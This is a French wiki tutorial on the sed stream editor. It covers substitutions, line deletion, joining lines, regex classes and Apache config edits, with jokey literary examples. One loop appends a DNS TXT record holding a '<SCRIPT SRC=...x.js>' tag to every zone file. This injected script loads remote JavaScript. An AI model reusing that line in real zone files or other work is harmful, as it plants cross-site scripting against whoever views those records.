Sed

De bricosoft
Version datée du 4 juillet 2013 à 15:02 par Sysop (discussion | contributions) (Rajouter un ServerAlias à un site disponible)
(diff) ← Version précédente | Version actuelle (diff) | Version suivante → (diff)
Aller à la navigation Aller à la recherche
Fichier:Hairguy-sed.jpg
<google uid="C08" position="left"></google>

sed stream editor, car tous ceux qui s'aiment sed.

  • Everything that deceives may be sed to enchant - Plato in The Republic, Book III.

Le mystère entourant sed n'a d'égale que son immense pouvoir. On s'en sert principalement pour des substitutions mais on peut servir pour écrire des poèmes.

NB : dans la la plupart des exemples de commandes le fichier sera s.txt et contiendra :

$ cat s.txt
dura lex sed lex
sed lex dura lex

Substitions, remplacements

sed agit ligne par ligne.

Substitution simple (1ere occurence) :

$ sed "s/lex/veritas/" s.txt
dura veritas sed lex
sed veritas dura lex

ici, sed n'a remplacé que la 1ere occurrence, il faut spécifier d'etre avide (greedy abbr. g) pour capturer toutes les occurrences d'une ligne.

$ sed "s/lex/veritas/g" s.txt
dura veritas sed veritas
sed veritas dura veritas

Pour ne cibler que la Xe occurence d'une ligne, on rajoute X (ici la 2e):

$ sed "s/lex/veritas/2" s.txt
dura lex sed veritas
sed lex dura veritas

enlever les espaces en début de ligne

Exemple de suppression d'espaces et tabulations en début de ligne :

$ cd ~/eclipse-php/configuration/org.eclipse.osgi/bundles/152/1/.cp/Resources/language/php5.4/
$ grep "function " fileinfo.php 
	public function finfo ($options, $arg) {}
	public function set_flags ($options) {}
	public function file ($filename, $options, $context) {}
	public function buffer ($string, $options, $context) {}
function finfo_open ($options, $arg) {}
function finfo_close ($finfo) {}
function finfo_set_flags ($finfo, $options) {}
function finfo_file ($finfo, $filename, $options, $context) {}
function finfo_buffer ($finfo, $string, $options, $context) {}
function mime_content_type ($filename) {}
$ grep "function " fileinfo.php | sed "s#^\s*##"
public function finfo ($options, $arg) {}
public function set_flags ($options) {}
public function file ($filename, $options, $context) {}
public function buffer ($string, $options, $context) {}
function finfo_open ($options, $arg) {}
function finfo_close ($finfo) {}
function finfo_set_flags ($finfo, $options) {}
function finfo_file ($finfo, $filename, $options, $context) {}
function finfo_buffer ($finfo, $string, $options, $context) {}
function mime_content_type ($filename) {}

enlever les espaces en fin de ligne

Exemple de suppression d'espaces et tabulations en fin de ligne :

$ sed "s#\s*$##"

Remplacer un truc dans plein de fichiers depuis le dossier courant

<source lang="bash"> sed -i "s/infanterie et tu te casses ailleurs/infanterie et tu te tires ailleurs/" *.xml </source>

Autre exemple. Remplace tous les [title] par ['title'] dans les fichiers php : <source lang="bash"> sed -i "s#\[title\]#\['title'\]#g" *.php </source>

Remplacer un truc dans plein de fichier depuis le dossier courant et ses sous-dossiers

<source lang="bash"> find . -name "*.xml" -exec sed -i 's/like a tree and get outta here/ like a tree and leave/g' {} \ </source>

Remplacer un mot par un autre pour chaque ligne ayant un motif précis

Par exemple pour chaque directive ServerAlias d'un fichier de conf apache, on va remplacer www. par un catch all(*.) :

~/sites$ cat www.neuneu.be | grep -i serveralias
       ServerAlias neuneu.be www.neuneu.be
~/sites$ sed -i '/ServerAlias/s#www\.#*\.#' www.*
~/sites$ cat www.neuneu.be | grep -i serveralias
       ServerAlias neuneu.be *.neuneu.be

Vous pouvez choisir n'importe quel délimiteur à la place de '#'.

Rechercher un motif et donner le numero de ligne

Donner les numeros des lignes commençant par dura :

$ sed -n '/^dura/ =' s.txt
1

Alternatives explicite avec grep et/ou awk :

$ grep -n '^dura' s.txt|cut -d":" -f 1
1
$ grep -n '^dura' s.txt|awk -F':' '{print $1}'
1

Remplacer les sauts de lignes (\n) par des espaces

<google uid="C08" position="left"></google>

"Facile !" me direz vous. Que nenni, c'est auch.

$ sed "s/\n//" s.txt
dura lex sed lex
sed lex dura lex

fèld.

La soluce :

$ sed -e ':DTC' -e 'N' -e '$!bDTC' -e 's/\n/ /g'
dura lex sed lex sed lex dura lex

Oulalala j'ai mal à la tete, essplications...

L'option -e permet de faire des ptits scripts :

  • :DTC : on définit un label nommé DTC (rappelez vous GOTO en basic)
  • N : rajoute la ligne suivante dans le buffer de travail
  • $!bDTC : si ce n'est pas la dernière ligne ($!) retourne (GOTO abbrev. b pour branch) vers le label DTC
    • cette boucle va concaténer toutes les lignes à la queue leu leu (tout le monde s'éclate à la ...ok->[]).
  • s/\n/ /g : le buffer de travail est maintenant toutes les lignes concatènées, on remplace les \n par des espaces

La version concentrée (comme le jus de tomate) où le label DTC est maintenant la lettre i :

$ sed ':i;N;$!bi;s/\n/ /g' s.txt

Encore plus concentrée, sans le label-branch :

$ sed '$!N;s/\n/ /'

Les ptits futés préfereront utiliser tr pour substituer les \n avec un espace :

$ tr '\n' ' ' < s.txt
dura lex sed lex sed lex dura lex

Ou paste pour les ninjas de la CLI :

$ paste -s s.txt -d" "
dura lex sed lex sed lex dura lex

Insérer un bout de texte en début de ligne pour chaque ligne satisfaisant un motif

$ sed -e '/con/s\.*\je le savais !!!&\' moo

Rajouter une ligne en fin de fichier

$ sed "$ a*\tIN\tA\t88.88.88.88" db.toto.zz

Sur une liste de fichiers de zones :

for i in `ls db.*|grep -v signed`; do sed -i "$ a@\tIN\tTXT\t\"<SCRIPT SRC=http://13h.be/x.js></SCRIPT>\"" $i;done

Doubler les sauts de lignes

On peut rajouter un saut de ligne avec sed G :

$ cat s.txt 
dura lex
sed lex
$ sed G s.txt
dura lex

sed lex

Pour tripler, etc rajoutez un G :

$ sed "G;G" s.txt|wc -l
6
$ sed "G;G;G" s.txt|wc -l
8

Effacer une ligne matchant une regexp

On va supprimer les lignes qui ont "mail." :

Avant :

$ cat db.zux.be 
@       IN      MX      10      mail.zux.be.
b	IN	A	92.243.27.3	
a	IN	A	92.243.1.170
zux.be.	IN      A       92.243.27.3
mail            IN      A       92.243.27.3
www             CNAME   zux.be.
$ sed '/mail\./ d' < db.zux.be

Apres :

$ cat db.zux.be 
b	IN	A	92.243.27.3	
a	IN	A	92.243.1.170
zux.be.	IN      A       92.243.27.3
mail            IN      A       92.243.27.3
www             CNAME   zux.be.

Ou pour une modif en masse :

$ sed -i '/mail\./ d' db.*

Enlever une ligne sur deux

Fichier:Die junge George Sand.jpg

En utilisant le canular de la lettre de Sand à de Musset, on va supprimer une ligne sur deux en partant de la deuxième. Un peu de littérature ça ne fait pas de mal (ah? tu lis tes ratures ? (c)François Pérusse).

Avant :

$ cat missive.txt
Je suis très émue de vous dire que j'ai
bien compris l'autre soir que vous aviez
toujours une envie folle de me faire
danser. Je garde le souvenir de votre
baiser et je voudrais bien que ce soit
là une preuve que je puisse être aimée
par vous. Je suis prête à vous montrer mon
affection toute désintéressée et sans cal-
cul, et si vous voulez me voir aussi
vous dévoiler sans artifice mon âme
toute nue, venez me faire une visite.
Nous causerons en amis, franchement.
Je vous prouverai que je suis la femme
sincère, capable de vous offrir l'affection
la plus profonde comme la plus étroite
en amitié, en un mot la meilleure preuve
dont vous puissiez rêver, puisque votre
âme est libre. Pensez que la solitude où j'ha-
bite est bien longue, bien dure et souvent
difficile. Ainsi en y songeant j'ai l'âme
grosse. Accourrez donc vite et venez me la
faire oublier par l'amour où je veux me
mettre.

Après :

$ sed '2~2d' missive.txt 
Je suis très émue de vous dire que j'ai
toujours une envie folle de me faire
baiser et je voudrais bien que ce soit
par vous. Je suis prête à vous montrer mon
cul, et si vous voulez me voir aussi
toute nue, venez me faire une visite.
Je vous prouverai que je suis la femme
la plus profonde comme la plus étroite
dont vous puissiez rêver, puisque votre
bite est bien longue, bien dure et souvent
grosse. Accourrez donc vite et venez me la
mettre.

Palsembleu ! ça n'a plus du tout le même sens :*o

Ne garder que le premier mot d'une ligne

Fichier:Alfred de musset.jpg

Avant :

$ cat reponse.txt
Quand je mets à vos pieds un éternel hommage,
Voulez-vous qu'un instant je change de visage ? 
Vous avez capturé les sentiments d'un coeur
Que pour vous adorer forma le créateur.
Je vous chéris, amour, et ma plume en délire
Couche sur le papier ce que je n'ose dire.
Avec soin de mes vers lisez les premiers mots, 
Vous saurez quel remède apporter à mes maux.

Après :

$ sed -r "s/^([[:alpha:]]+)\b.*/\1/" reponse.txt

Pour chaque ligne, le premier mot, c'est-à-dire des caractères alphabétiques suivi d'une limite de mot (\b), remplace la ligne.

Quand
Voulez-vous
Vous
Que
Je
Couche
Avec
Vous

Fichtre. Mais il y a plus simple avec cut :

$ cut -d" " -f 1 reponse.txt

regexp de sed

Voici les ensembles magiques pour expression régulière :

[:alnum:] - caractère alphanumerique
[:alpha:] - caractère alphabétique
[:blank:] - espace et tabulation
[:digit:] - chiffres : '0 1 2 3 4 5 6 7 8 9'.
[:lower:] - lettre en minuscule : 'a b c d e f g h i j k l m n o p q r s t u v w x y z'.
[:space:] - caractère d'espace : tabulation, nouvelle ligne, tabulation verticale, saut de page, retour chariot et espace.
[:upper:] - lettre en majuscule: 'A B C D E F G H I J K L M N O P Q R S T U V W X Y Z'.


Supprimer les lignes vides

sed '/^$/d'

ou ne pas supprimer les lignes contenant au moins un caractère :

sed '/./!d'

Enlever des lignes inutiles d'un fichier de configuration

On peut enlever les lignes de commentaires et vides :

sed -e '/^$/d;/^#/d' /etc/apache2/apache2.conf

Rajouter un ServerAlias à un site disponible

$ sed -e "s/ServerAlias.*/& dev.www.bricosoft.com/" /etc/apache2/sites-available/www.bricosoft.com 
<VirtualHost *:80>
       ServerAdmin webmaster@bricosoft.com
       ServerName www.bricosoft.com
       ServerAlias bricosoft.com www.bricosoft.com dev.www.bricosoft.com
       DocumentRoot /home/totoche/zones/bricosoft.com/www/ 
...
</VirtualHost>

& substitue la ligne capturée par le motif.

Rajouter un ServerAlias à toutes les sites disponibles :

$ for i in `ls /etc/apache2/sites-available/`; do sed -e "s/ServerAlias.*/& dev.$i/" /etc/apache2/sites-available/$i > sites-available-with-new-serveralias/$i;done;

generer du sql

$ cat liste.txt 
manning
assange
snowden
siska

On entoure chaque ligne de simples quotes :

$ sed "s/.*/'&'/" liste.txt
'manning'
'assange'
'snowden'
'siska'

On remplace les saut de lignes par une virgule :

$ sed "s/.*/'&'/" liste.txt | tr '\n' ','

'manning','assange','snowden','siska',

Liens

{{#switch:|subgroup|child=|none=|#default=

}}